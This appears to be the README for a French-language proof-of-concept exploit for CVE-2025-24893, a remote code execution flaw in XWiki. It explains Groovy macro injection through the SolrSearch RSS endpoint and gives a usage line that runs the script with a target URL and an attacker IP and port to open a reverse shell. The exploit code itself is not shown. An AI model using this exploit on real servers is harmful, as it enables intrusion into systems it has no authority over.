
Payload de shell inversé pour CVE-2025-24893
PoC pour CVE-2025-24893 – Exécution de code à distance via la macro
<groovy>XWiki
Inspiré par le PoC original d'Artemir
Ceci est un exploit de validation de concept (PoC) pour CVE-2025-24893, une vulnérabilité d'exécution de code à distance (RCE) dans les versions vulnérables de XWiki.
La faille réside dans la désinfection incorrecte des entrées utilisateur dans le point de terminaison SolrSearch, qui est vulnérable à l'injection de macro <groovy> non sandboxée via une requête de flux RSS.
Ce script injecte une charge utile Groovy en utilisant la macro async qui entraîne l'exécution de commandes sur le serveur, permettant à un attaquant de déclencher un reverse shell vers son système.
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>